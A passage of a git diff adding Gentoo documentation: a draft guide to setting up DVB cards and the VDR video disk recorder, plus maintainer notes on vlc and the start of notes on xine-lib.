+</project>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/desktop/video/vdr/temp/vdr-guide.xml b/xml/htdocs/proj/en/desktop/video/vdr/temp/vdr-guide.xml
new file mode 100644
index 00000000..8b461338
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/video/vdr/temp/vdr-guide.xml
@@ -0,0 +1,715 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/video/vdr/temp/vdr-guide.xml,v 1.7 2006/12/04 13:52:31 zzam Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/doc/en/vdr-guide.xml">
+<title>Gentoo Linux VDR Guide</title>
+
+<author title="Author">
+  <mail link="mail@ng-plasmon.de">Norman Golisz</mail>
+</author>
+<author title="Author">
+  <mail link="diox@gentoo.org">Dimitry Bradt</mail>
+</author>
+<author title="Author">
+  <mail link="zzam@gentoo.org">Matthias Schwarzott</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+
+<abstract>
+This guide shows you how to prepare Gentoo Linux for DVB and VDR.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2006-11-15</date>
+
+<chapter>
+<title>General information to DVB</title>
+<section>
+<title>What is DVB?</title>
+<body>
+
+<p>
+<e>DVB</e> stands for <e>Digital Video Broadcasting</e>. DVB describes methods
+to transfer digital data of TV, radio, interactive services like MHP, EPG and
+teletext. Through data compression with MPEG-2, or H.264 for HDTV, it's
+possible to transfer several channels on the same frequency. The more data
+compression, the more channels can be transferred, but you pay it with quality
+loss.
+</p>
+
+<p>
+DVB can be transferred in several ways. The trailing letter identifies the
+method of transfer, e.g. DVB-<e>T</e> for terrestrial transmission. There are
+several more types:
+</p>
+
+<ul>
+  <li>DVB-S for transmission over satellites</li>
+  <li>DVB-C for transmission over cable</li>
+  <li>DVB-H for transmission to mobile devices (terrestrial)</li>
+  <li>DVB-IPI for transmission over IP based networks, e.g. internet</li>
+  <li>
+    DVB-RC(S/C/T) return channel for the transmission of data services, e.g.
+    broadband internet
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Types and requirement of DVB cards</title>
+<body>
+
+<p>
+Besides the different methods available to receive a DVB stream, the cards are
+classified by their type of produced output. There are cards with a decoder
+implemented which offer direct access to the stream by the device
+<path>/dev/video</path>. These cards are <e>full featured cards</e>.  Other
+cards have no own decoder implemented and require a software decoder on the
+computer and are <e>budget cards</e>. This implies higher system requirements.
+Your computer's CPU should run at at least 600 MHz, and have at least 256MB of
+RAM. <uri link="http://linuxtv.org/wiki/index.php/DVB_Card_Vendors">This
+list</uri> is useful for identifying your card.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Preparing the system</title>
+<section>
+<title>Configuring the kernel</title>
+<body>
+
+<p>
+First, we must ensure that your kernel supports DVB and your DVB device.
+(Only if you intend to use DVB-Devices, but that true in most cases.)
+Since kernel version 2.6 the necessary drivers are included. Check your kernel
+configuration and make sure the following options are selected as a static
+driver or as modules.
+</p>
+
+<pre caption="Required kernel options">
+Input Device Support ---&gt;
+* Event Interface
+Device Drivers ---&gt;
+Multimedia Devices ---&gt;
+Digital Video Broadcasting Devices ---&gt;
+    [*] DVB For Linux
+     *  DVB Core Support
+   M  [Your driver]
+</pre>
+
+<p>
+Additionally we have to select the proper driver for your hardware. To find out
+the right module for your card, we mark every driver as module. If you have a
+PCI card, install <c>pciutils</c> if you haven't already. If you want built-in
+drivers or you don't own a PCI card, skip this step and continue with <uri
+link="#kernel_output">Checking the kernel output</uri>.
+</p>
+
+<pre caption="Installing pciutils">
+# <i>emerge pciutils</i>
+</pre>
+
+<p>
+After booting the new kernel, we run <c>pcimodules</c> to list the required
+modules.
+</p>
+
+<pre caption="Listing the required modules">
+# <i>pcimodules</i>
+ohci-hcd
+ehci-hcd
+sis900
+snd-emu10k1
+b2c2-flexcop-pci
+nvidia
+nvidiafb
+</pre>
+
+<p>
+In this case we have to load the module <c>b2c2-flexcop-pci</c>. We add the
+name to <path>/etc/modules.autoload.d/kernel-2.6</path>.
+</p>
+
+<pre caption="Adding the module name">
+# <i>echo b2c2-flexcop-pci &gt;&gt; /etc/modules.autoload.d/kernel-2.6</i>
+</pre>
+
+</body>
+</section>
+
+<section id="kernel_output">
+<title>Checking the kernel output</title>
+<body>
+
+<p>
+It's recommended to mark every driver as module, so you are able to add the
+required module dynamically, especially if you don't know the module name. If
+you know the module name already, select the driver as built-in driver. Compile
+the kernel, install the modules and boot it. Check to see if your kernel has
+successfully detected your card by using <c>dmesg</c>.
+</p>
+
+<pre caption="Checking kernel output">
+# <i>dmesg | grep DVB</i>
+<comment>(If you own a TerraTec Cinergy T2, your output might look like this:)</comment>
+DVB: registering new adaptor (TerraTec/qanu USB2.0 Highspeed DVB-T Receiver).
+input: TerraTec/qanu USB2.0 Highspeed DVB-T Receiver remote control as /class/input/input2
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="inst_vdr">
+<title>Installing VDR</title>
+<section>
+<body>
+
+<p>
+To install VDR, we just emerge it.
+</p>
+
+<pre caption="Installing VDR">
+# <i>emerge vdr</i>
+</pre>
+
+<p>
+Now continue with <uri link="#inst_ir_remote">installing IR-Remote</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="inst_ir_remote">
+<title>Configuring the remote control</title>
+<section>
+<body>
+
+<p>
+There are at least two alternatives to controll vdr via Infrared (and some others also).
+If your tv-card has an onboard IR-Receiver you can use remote-Plugin or LIRC.
+Else you most likely need to use LIRC.
+</p>
+
+</body>
+</section>
+<section>
+<title>Installing Plugin vdr-remote</title>
+<body>
+
+<p>
+We first install the Plugin via emerge.
+</p>
+
+<pre caption="Installing vdr-remote">
+# <i>emerge vdr-remote</i>
+# <i>emerge --config vdr-remote</i>
+</pre>
+
+<p>
+When using the remote-plugin for the IR-Port on DVB card
+everything should be fine with default config. (It automatically
+uses the input-device which has "dvb" in its name).
+For more advanced uses have a look at <path>/etc/conf.d/vdr.remote</path>.
+</p>
+
+<p>
+<uri link="#video-out">Go on with configuring your video-out</uri>
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Installing LIRC</title>
+<body>
+
+<p>
+If your card can be remotely controlled, you may wish to configure LIRC. LIRC
+interprets the pressed keys and returns a name for each one. A program that
+supports LIRC waits for key events and runs the action configured in the config
+file, mostly stored in the config directory of the executing program (e.g.
+<c>mplayer</c> loads the file <path>~/.mplayer/lircrc</path>). Before we
+install LIRC, you have to add <c>lirc</c> to your USE flags and add an
+additional entry to <path>/etc/make.conf</path>: <c>LIRC_DEVICES</c>. Use <uri
+link="http://www.lirc.org/html/table.html">this list</uri> to find the proper
+arguments for the option.
+</p>
+
+<pre caption="Installing LIRC">
+# <i>nano -w /etc/make.conf</i>
+<comment>(Replace "devinput" with the proper driver)</comment>
+LIRC_DEVICES="devinput"
+USE="lirc"
+# <i>emerge lirc</i>
+</pre>
+
+<p>
+At first we have to define each key code with a name. Most supported remote
+controls are configured already, take a look at the <uri
+link="http://lirc.sourceforge.net/remotes/">remote list</uri>. Download the
+required file and save it as <path>/etc/lircd.conf</path>. Now we have to find
+out where to access your remote control. Run the following command to get a
+list of the current input devices (make sure your device is running).
+</p>
+
+<pre caption="List of current input devices">
+# <i>cat /proc/bus/input/devices</i>
+I: Bus=0000 Vendor=0000 Product=0000 Version=0000
+N: Name="TerraTec/qanu USB2.0 Highspeed DVB-T Receiver remote control"
+P: Phys=usb-0000:00:1d.7-1/input0
+S: Sysfs=/class/input/input2
+H: Handlers=kbd event1
+B: EV=100003
+B: KEY=108fc210 2043 0 0 0 0 8000 2080 1 9e1680 0 0 ffc
+</pre>
+
+<p>
+In this case we have the Terratec Cinergy T2 device plugged in, so we can
+access the device over <path>/dev/input/event1</path>. Replace <c>event1</c>
+with the matching device in your output.
+</p>
+
+<p>
+<c>lircd</c> needs to know the device to use. Add the following line to
+<path>/etc/conf.d/lirc.conf</path>. Remember to replace <c>devinput</c> with
+the name of your driver and <c>event1</c> with the actual device.
+</p>
+
+<pre caption="Adding options to lircd">
+LIRCD_OPTS="-H devinput -d /dev/input/event1"
+</pre>
+
+<p>
+It's time to start <c>lircd</c>:
+</p>
+
+<pre caption="Starting lircd">
+# <i>/etc/init.d/lircd start</i>
+</pre>
+
+<p>
+Now it should be possible to watch lircd running and decoding key-presses.
+Just run the command <c>irw</c>. Stop it with pressing Ctrl+C when you have enough.
+</p>
+
+<pre caption="Testing LIRC">
+# <i>irw</i>
+0000000000001aa2 00 Exit Technisat_TTS35AI.conf
+0000000000001a8d 00 Mute Technisat_TTS35AI.conf
+0000000000000a97 00 OK Technisat_TTS35AI.conf
+0000000000000a97 01 OK Technisat_TTS35AI.conf
+0000000000000a92 00 Menu Technisat_TTS35AI.conf
+</pre>
+
+<p>
+Next, add it to the default runlevel so that it starts automatically at boot.
+</p>
+
+<pre caption="Adding lircd to the default runlevel">
+# <i>rc-update add lircd default</i>
+</pre>
+
+<p>
+To be able to use your remote control, we have to enable LIRC
+support in VDR. Add the following line to the <path>/etc/conf.d/vdr</path>:
+</p>
+
+<pre caption="Enabling support for LIRC">
+# <i>nano -w /etc/conf.d/vdr</i>
+IR_CTRL="lirc"
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="video-out">
+<title>Video Output Methods</title>
+<section>
+<body>
+
+<p>
+You now need to descide on one (and only one!) of the following possibilities of video-output devices
+which show the video-picture and the overlayed On-Screen-Display (OSD).
+</p>
+
+</body>
+</section>
+<section id="vdr-dxr3">
+<title>Hardware decoding: Full-Featured DVB-Card</title>
+<body>
+
+<p>
+Users of these expensive cards need not install anything additional.
+</p>
+
+<p>
+<uri link="#channel_list">Continue with configuring your channel-list</uri>
+</p>
+
+</body>
+</section>
+
+<section id="vdr-dxr3">
+<title>Hardware decoding: DXR3/Hollywood+ Cards</title>
+<body>
+<p>
+To use a DXR3 card for vdr-ouput we need the Plugin vdr-dxr3.
+</p>
+
+<pre caption="Installing DXR3-Plugin">
+# <i>emerge vdr-dxr3</i>
+# <i>echo em8300 &gt;&gt; /etc/modules.autoload.d/kernel-2.6</i>
+</pre>
+
+<p>
+The em8300-modules now needs some configuration that depends on the exact used revision of the card.
+</p>
+
+<p>
+TODO dxr3config
+</p>
+
+<p>
+<uri link="#channel_list">Continue with configuring your channel-list</uri>
+</p>
+
+</body>
+</section>
+
+<section id="vdr-pvr350">
+<title>Hardware decoding: PVR350 Card</title>
+<body>
+<p>
+As the PVR350-Cards have onboard an MPEG-Decoder chip we want to
+make use of that. We need to install the Plugin vdr-pvr350.
+If the ivtv-driver is not yet installed emerge will automatically
+do that. To have ivtv module loaded at boot we add it to
+/etc/modules.autoload.d/kernel-2.6
+</p>
+
+<pre caption="Installing PVR350-Plugin">
+# <i>emerge vdr-pvr350</i>
+# <i>echo ivtv &gt;&gt; /etc/modules.autoload.d/kernel-2.6</i>
+</pre>
+
+<p>
+<uri link="#channel_list">Continue with configuring your channel-list</uri>
+</p>
+
+</body>
+</section>
+
+<section id="vdr-xineliboutput">
+<title>Software decoding: Plugin vdr-softdevice</title>
+<body>
+<p>
+To install it, we have to emerge <c>vdr-softdevice</c>. Don't forget
+to enable the plugin.
+</p>
+
+<pre caption="Installing the softdevice plugin">
+# <i>emerge vdr-softdevice</i>
+# <i>emerge --config vdr-softdevice</i>
+</pre>
+
+<p>
+To select the proper video and audio output, edit
+<path>/etc/conf.d/vdr.softdevice</path>.
+</p>
+
+<p>
+We describe here for now only the method called shm (short for "shared memory").
+This is already enabled in the installed config file (Setting SOFTDEVICE_VIDEO_OUT).
+Later you need to start <c>ShmClient</c> to get a window showing the picture.
+</p>
+
+<note>
+If you do not want to think about an own keyboard-layout for controlling vdr with softdevice/shm
+there is a remote configuration file available at Matthias Schwarzott's <uri
+link="http://dev.gentoo.org/~zzam/remote.softdevice-shm.conf">devspace</uri>. You will need to
+copy it to <path>/etc/vdr/remote.conf</path> and run <c>chown vdr:vdr</c> on the file to get it working.
+</note>
+
+<p>
+<uri link="#channel_list">Continue with configuring your channel-list</uri>
+</p>
+
+</body>
+</section>
+<section id="vdr-xineliboutput">
+<title>Software decoding: Plugin vdr-xineliboutput</title>
+<body>
+
+<p>
+Some people prefer to use <c>vdr-xineliboutput</c>, because it can also work
+remotely. We'll now teach you how to configure <c>vdr-xineliboutput</c> on your
+host and client. First, the host setup:
+</p>
+
+<pre caption="Installing vdr-xineliboutput">
+# <i>emerge vdr-xineliboutput</i>
+# <i>emerge --config vdr-xineliboutput</i>
+</pre>
+
+<p>
+Adding command line options at this point is crucial to let xineliboutput
+work. For more options, see <c>vdr --help</c>.
+</p>
+
+<pre caption="Adding command line options to /etc/conf.d/vdr.xineliboutput">
+_EXTRAOPTS="--local=none --remote=37890"
+</pre>
+
+<p>
+The next step is to edit <path>/etc/vdr/svdrphosts.conf</path>. This file
+describes a number of host addresses that are allowed to connect to the SVDRP
+port of the video disk recorder running on the host system.
+</p>
+
+<pre caption="Editing /etc/vdr/svdrphosts.conf">
+<comment>(The proper syntax is: IP-Address[/Netmask])</comment>
+127.0.0.1             <comment>(always accept localhost)</comment>
+192.168.1.0/24        <comment>(any host on the local net)</comment>
+#204.152.189.113      <comment>(a specific host)</comment>
+#0.0.0.0/0            <comment>(any host on any net (USE THIS WITH CARE!))</comment>
+</pre>
+
+
+<p>
+If you only want to use vdr-xineliboutput to view the picture
+on the same PC running vdr you can now
+<uri link="#channel_list">continue with configuring your channel-list</uri>.
+</p>
+
+<p>
+Else you now simply <c>emerge media-plugins/vdr-xineliboutput</c> on your client.
+</p>
+
+<pre caption="Client setup">
+# <i>emerge vdr-xineliboutput</i>
+</pre>
+
+<p>
+Later (after having started VDR) you will use the command <c>vdr-sxfe xvdr://hostname</c>
+to connect to VDR and view its picture and OSD.
+</p>
+
+<p>
+<uri link="#channel_list">Continue with configuring your channel-list</uri>
+</p>
+
+<note>
+There is also a Plugin which just simulates the existance of a real output-device
+(vdr-dummydevice) for some fancy uses like record-only-servers,
+but that is more advanced than a normal VDR setup.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="channel_list">
+<title>Creating a channel-list</title>
+<section>
+<body>
+
+<p>
+To make vdr really useful you need to create an apropriate channel-list.
+</p>
+
+<p>
+There is more than one way to get a working list of channels (besides downloading one).
+The channel-list installed as default is for DVB-S reception on Astra on 19.2°E.
+</p>
+
+</body>
+</section>
+<section>
+<title>Using dvbscan from linuxtv-dvb-apps</title>
+<body>
+
+<pre caption="Installing linuxtv-dvb-apps">
+# <i>emerge linuxtv-dvb-apps</i>
+</pre>
+
+<p>
+Find the correct frequency-list for your region/type of reception.
+These files are stored under /usr/share/dvb/scan.
+For reception with DVB-T in Germany, Region Nuernberg you need to use the file
+/usr/share/dvb/scan/dvb-t/de-Nuernberg.
+</p>
+
+<pre caption="Scanning with dvbscan">
+$ <i>dvbscan -o vdr /usr/share/dvb/scan/dvb-t/de-Nuernberg &gt; /etc/vdr/channels.conf</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Using the Plugin vdr-reelchannelscan</title>
+<body>
+
+<p>
+First deleting the content of the existing channel-list.
+</p>
+
+<pre caption="Cleaning old channel-list">
+$ <i>&gt; /etc/vdr/channels.conf</i>
+</pre>
+
+<pre caption="Installing and activation vdr-reelchannelscan">
+$ <i>emerge vdr-reelchannelscan</i>
+$ <i>emerge --config vdr-reelchannelscan</i>
+</pre>
+
+<p>
+Now that you has vdr-reelchannelscan installed and activated you need to start vdr.
+</p>
+
+<pre caption="Installing and activation vdr-reelchannelscan">
+$ <i>/etc/init.d/vdr start</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Channels for Systems using vdr-analogtv</title>
+<body>
+
+<p>
+You'll probably want to configure your channels at this point. The VDR project
+provides you with some examples which can be found at
+<path>/usr/share/doc/vdr-analogtv-$version/examples/</path>, as long as you've
+installed &gt;=<c>media-plugins/vdr-analogtv-1.0.00-r1</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Starting VDR</title>
+<section>
+<body>
+<p>
+After having all basic software parts ready on the system you need to
+configure VDR with its OSD.
+</p>
+
+<p>
+If you use a hardware decoder to output the picture you should switch
+on the connected TV-Set now. If you use software output the client for this
+gets started after vdr as other orders normally do not work.
+</p>
+
+<p>
+The first thing to do now is learning key-definitions
+(=connecting keys on remote control to commands VDR has internally).
+</p>
+
+<note>
+Just in case you need to edit the keyboard-configuration, or (more likely)
+want to delete it to go back to learning the keys:
+VDR stores its key-definitions in <path>/etc/vdr/remote.conf</path>.
+</note>
+
+<p>
+We begin with starting VDR.
+</p>
+
+<pre caption="Starting VDR">
+# <i>/etc/init.d/vdr start</i>
+* Preparing start of vdr:
+*   config files ...                                        [ ok ]
+*   Waiting for prerequisites (devices nodes etc.) ...      [ ok ]
+* Starting vdr ...                                          [ ok ]
+* First start of vdr: No check for running vdr possible
+* until control device (remote/keyboard) keys are learnt!
+</pre>
+
+<p>
+Only for users of software-decoders:
+You now should start the client-program that
+opens the window to show the tv-picture and the OSD.
+</p>
+
+<pre caption="Starting client program of software-decoder">
+<comment>(For users of vdr-softdevice)</comment>
+# <i>ShmClient</i>
+<comment>(For users of vdr-xineliboutput)</comment>
+# <i>vdr-sxfe xvdr://hostname</i>
+</pre>
+
+<p>
+The most usefull keys for VDR are:
+</p>
+<ul>
+  <li>Cursor Keys (Left/Right/Up/Down)</li>
+  <li>Menu/Exit/Ok</li>
+  <li>Colors (Red/Green/Yellow/Blue)</li>
+  <li>Number-Keys (0-9)</li>
+</ul>
+
+<impo>
+If you don't have many keys, make sure to assign these.
+(Some remotes have Play/Pause/... on the same keys as the colors,
+then use them for the colors).
+</impo>
+
+<p>
+Now that the basic installation is over, you need to configure VDR. Switch to
+your output screen and follow the on-screen instructions. VDR asks you to press
+various keys on your remote control to learn the correct key codes. In case you
+don't own a remote control unit, you can use your keyboard.
+</p>
+
+
+
+<p>
+TODO
+</p>
+
+<p>
+Now you can add the vdr-initscript to the default runlevel to
+get it started every time your computer boots up.
+</p>
+
+<pre caption="Adding vdr to the default runlevel">
+# <i>rc-update add vdr default</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Troubleshooting</title>
+<section>
+<body>
+
+<note>
+If you need any help, you can always ask someone in <uri
+link="irc://irc.freenode.org/gentoo-vdr">#gentoo-vdr</uri>, or look around on
+our <uri link="http://forums.gentoo.org/">forums</uri>.
+</note>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/video/vlc.xml b/xml/htdocs/proj/en/desktop/video/vlc.xml
new file mode 100644
index 00000000..a2a68db7
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/video/vlc.xml
@@ -0,0 +1,289 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/video/vlc.xml,v 1.26 2009/11/12 19:40:57 aballier Exp $ -->
+
+<guide link="/proj/en/desktop/video/vlc.xml" lang="en">
+<title>vlc and related</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+<author title="Contributor">
+  <mail link="aballier@gentoo.org">Alexis Ballier</mail>
+</author>
+
+<abstract>
+Maintainer notes about vlc and its relatives
+</abstract>
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.24</version>
+<date>2009-11-12</date>
+
+<chapter> <!-- vlc -->
+<title>vlc</title>
+
+<section> <!-- Introduction -->
+<title>Introduction</title>
+
+<body>
+
+<note>
+This guide was last updated for <c>vlc</c> version 1.0.3.
+</note>
+
+<p>
+<c>media-video/vlc</c> is
+<uri link="http://www.videolan.org/">VLC media player</uri>, a multimedia player
+with different interface modules, though primarily as a streaming client.
+There are no frontends a part the core <c>vlc</c> binary, but the different
+interfaces are loaded as modules.
+</p>
+
+<p>
+Because of its structure, a crash into the decoding routines means a complete
+crash of the interface, too. A careful maintenance is needed, similarly to
+<c><uri link="xine.xml">xine-lib</uri></c>.
+</p>
+
+<p>
+Its maintenance is usually simple, as it's one of the most portable solutions
+(it runs natively on Linux, Windows, OSX and FreeBSD). Related to <c>vlc</c>
+there are, though, different libraries that might be a problem to maintain,
+as they are handled differently in Portage from what the other distributions do.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Patches -->
+<title>Patches</title>
+
+<body>
+
+<p>
+Patches for <c>vlc</c> are a bit different respect <c>xine-lib</c>, as they are
+sometimes exclusive to Gentoo Linux and simply can't be upstreamed at all. This
+is the case of the patches that change some libraries from builtin to plugins
+(with the assumption that Gentoo always have them as PIC libraries).
+</p>
+
+<p>
+In general there might be necessity to patch vlc when something in its
+dependencies changes, as it's usually quite good-written the internal code and
+also the <path>configure.ac</path>. In the past it needed patching to get
+wxGTK or Samba dependencies fixed.
+</p>
+
+<p>
+The bootstrap script provided with the sources should not be used to rebuild
+autotools support. While it's usually better to use the upstream-provide file,
+that bootstrap script contains also instructions to update gettext support, that
+might create confusion with the shipped version, and requires also the cvs
+command to get autopoint right. A simple <path>eautoreconf</path> call should
+be enough.
+</p>
+
+<p>
+There are two ways to send patches upstream: either via their <path>vlc-devel</path>
+<uri link="http://developers.videolan.org/lists.html">mailing list</uri> or by
+<uri link="http://wiki.videolan.org/Report_bugs">reporting a bug</uri> in the
+<uri link="https://trac.videolan.org/vlc/">Trac system</uri>.
+</p>
+
+<p>
+The patches are hosted in CVS inside <path>gentoo/src/patchsets/vlc</path>
+and are organized by version. Released patchsets are tagged with the name of the
+tarball minus the <path>.tar.bz2</path>. The directories contains also a series
+file, as they are used by quilt: just symlink the checked out directory inside
+an extracted source tree of vlc (for that version) and use <c>quilt</c> to
+manage the patches.
+</p>
+
+<note>
+Also if usually this point was never stressed out, now that patches are hosted
+on the CVS it's important that they bring a description in the header, with also
+a link to relevant bugs, both in Gentoo and upstream.
+</note>
+
+</body>
+</section>
+
+<section> <!-- External libraries and plugins -->
+<title>External libraries and plugins</title>
+
+<body>
+
+<p>
+<c>vlc</c> uses a mixed architecture for linking decoding libraries: some of
+them are linked as <e>builtin</e>, statically into the vlc binary, while others
+are built as <e>plugins</e> that gets loaded at runtime.
+</p>
+
+<p>
+As the plugins are by all means shared objects, they must be built with PIC
+enabled and can't link against static non-PIC libraries. As some libraries used
+to decode or demux (such as libmatroska and libdts) used to be static libraries
+only, the configure sometimes checks for two names for libraries, one for the
+PIC version (<path>_pic</path> or <path>_p</path>) and one for the non-PIC,
+enabling the plugin or the builtin depending on the case.
+</p>
+
+<p>
+As in Gentoo most of the libraries are patched to build the PIC shared version
+with the same name of the original one, the configure script sometimes gets
+false negatives, and builds as builtin something that could have been built as
+plugin. In those cases, it's needed to edit the <path>configure.ac</path> file
+to get the right name for the library to build as plugin.
+</p>
+
+<p>
+The use of plugins instead of builtins allows VLC to continue working also if
+one of the libraries gets broken by a changed ABI, as the plugins fails to load
+on demand, while builtins breaks the main executable file.
+</p>
+
+<p>
+Like newer versions of <c><uri link="xine.xml">xine-lib</uri></c>, <c>vlc</c>
+always uses an external copy of <c>ffmpeg</c>. This means that when a new
+version of that package is stabilized, <c>vlc</c> has to be checked against it.
+It also means that it does not suffer from problems related directly to
+<c>ffmpeg</c> code, such as security vulnerabilities.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Testing versions -->
+<title>Testing versions</title>
+
+<body>
+
+<p>
+As many other projects, also <c>vlc</c> releases beta versions of the code
+before the actual final release. These beta versions are usually useful to test
+the changes to the dependencies and the code in package.mask so that problems
+can be found before unleashing the final version to users.
+</p>
+
+<p>
+Test versions are usually announced on <path>vlc-devel</path> mailing list and
+can be found at
+<uri link="http://download.videolan.org/pub/videolan/testing/">http://download.videolan.org/pub/videolan/testing/</uri>.
+The naming scheme used is X.Y.Z-testT.
+</p>
+
+<p>
+Since version 0.8.4, the ebuild carries the transformation between _beta to
+-beta versions and uses the right URL for betas without having to edit it by
+hand.
+</p>
+
+</body>
+</section>
+
+<section> <!-- useflags -->
+<title>useflags</title>
+
+<body>
+
+<p>
+As many other multimedia programs, also <c>vlc</c> have quite a lot of useflags
+to disable and enable dependencies and extra features. There are a few missing
+dependencies that are not enabled, and a few useflags that were removed for
+many reasons in the past.
+</p>
+
+<p>
+The <b>nsplugin</b> useflag is used to build the Netscape-compatible plugins
+(used by Mozilla, Firefox and Konqueror); this plugin is quite fragile, and the
+useflag (that was added after 0.8.2 release) was removed till the latter 0.8.5
+revisions, with patches to build against Firefox or Seamonkey rather than the
+old Gecko-SDK (no more supported) or XULRunner (experimental). The plugin itself
+is unsatble anyway, and if bugs are confirmed is probably simpler to remove it
+or declare it experimental.
+</p>
+
+<p>
+Most of the nsplugin's problems were fixed in 0.8.6, although the way
+to select against which package to build changed drastically (as the
+patch applied to 0.8.5 was rejected for a different approach). Since
+this version, you need to pass the XPIDL variable with the path to the
+IDL libraries for the package to link against (firefox or seamonkey)
+and the MOZILLA_CONFIG variable with the path to the
+<path>*-config</path> script, again depending on which one you want to
+link against.
+</p>
+
+<p>
+The <b>live</b> useflag enable support of live555 for RTSP support,
+provided by <c>media-plugins/live</c>. Starting from version
+2006.12.08 of this latter package, the way it is installed in the
+system is drastically changed; while previously it installed in a
+"build tree", and was linked statically, the newer versions installs
+as a normal package using lib and include directories. For this
+reason, the <path>--with-live555-tree</path> option is not passed
+anymore, in vlc 0.8.6 and later, if the newer version of live is
+present.
+</p>
+
+<table>
+  <tr>
+    <th>Useflag</th>
+    <th>Local description</th>
+    <th>Dependency</th>
+    <th>Reason for removing</th>
+  </tr>
+
+  <tr>
+    <ti>portaudio</ti>
+    <ti>PortAudio output plugin</ti>
+    <ti>&gt;=media-sound/portaudio-19</ti>
+    <ti>
+      The required version of <c>portaudio</c> is the currently experimental
+      version (19), not present in Portage and too unstable.
+    </ti>
+  </tr>
+
+  <tr>
+    <ti>tremor</ti>
+    <ti>Enables Tremor decoder support</ti>
+    <ti></ti>
+    <ti>Missing dependency</ti>
+  </tr>
+
+  <tr>
+    <ti>tarkin</ti>
+    <ti>Enables experimental tarkin codec</ti>
+    <ti></ti>
+    <ti>Missing dependency</ti>
+  </tr>
+
+  <tr>
+    <ti>cyberlink</ti>
+    <ti>Enable CyberLink UPnP stack</ti>
+    <ti></ti>
+    <ti>Missing dependency</ti>
+  </tr>
+
+  <tr>
+    <ti>libtar</ti>
+    <ti>Enables libtar support for skins2 module</ti>
+    <ti>dev-libs/libtar</ti>
+    <ti>libtar doesn't build a PIC shared library thus we disable it</ti>
+  </tr>
+
+</table>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/desktop/video/xine.xml b/xml/htdocs/proj/en/desktop/video/xine.xml
new file mode 100644
index 00000000..72ecb8e7
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/video/xine.xml
@@ -0,0 +1,454 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/video/xine.xml,v 1.28 2007/12/30 13:42:40 flameeyes Exp $ -->
+
+<guide link="/proj/en/desktop/video/xine.xml" lang="en">
+<title>xine-lib and related</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<abstract>
+Maintainer notes about xine-lib package and its relatives.
+</abstract>
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.22</version>
+<date>2007-12-30</date>
+
+<chapter> <!-- xine-lib -->
+<title>xine-lib</title>
+
+<section> <!-- Introduction -->
+<title>Introduction</title>
+
+<body>
+
+<note>
+This guide was last updated for <c>xine-lib</c> version
+1.1.8
+</note>
+
+<p>
+<c>media-libs/xine-lib</c> is the package that carries the core of xine video
+player. Differently from <c>mplayer</c> that is a standalone program, xine
+frontends uses <path>libxine</path> to play video files. This has the
+disadvantages that a crash inside <path>libxine</path> shows up as a crash of
+the frontend itself, and that the included copies of libraries might end up in
+symbols' collisions if they aren't taken care correctly. 
+</p>
+
+<p>
+For this reason <c>xine-lib</c> package must be managed carefully, to avoid
+adding dangerous crashes that might be difficult to reproduce (the same happened
+in the past). As in many cases the crashes are difficult to grasp just looking
+at the code, as there might be symbols collisions and similar stuff, to report
+bugs it's important to produce also a valid
+<uri link="/proj/en/qa/backtraces.xml">backtrace</uri> of the crash.
+</p>
+
+<p>
+Here you'll find a lot of "why and how" about <c>xine-lib</c> and related
+packages like <c>xine-ui</c>, <c>gxine</c> and so on. Hopefully, this guide will
+be updated during the time, also when maintainer changes.
+</p>
+
+<p>
+To contact developers of the xine project, you can also use the #xine
+channel hosted on FreeNode.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Patches -->
+<title>Patches</title>
+
+<body>
+
+<p>
+<c>xine-lib</c> used to be heavy patched on Portage tree; although the
+original reason was because of
+<uri link="/proj/en/qa/automagic.xml">automagic dependencies</uri>, there were
+patches and fixes for those external projects (like <c>ffmpeg</c> or
+<c>vidix</c>) that weren't being applied by upstream.
+</p>
+
+<p>
+Since version 1.1.2 the patchset is heavily reduced, also because the former
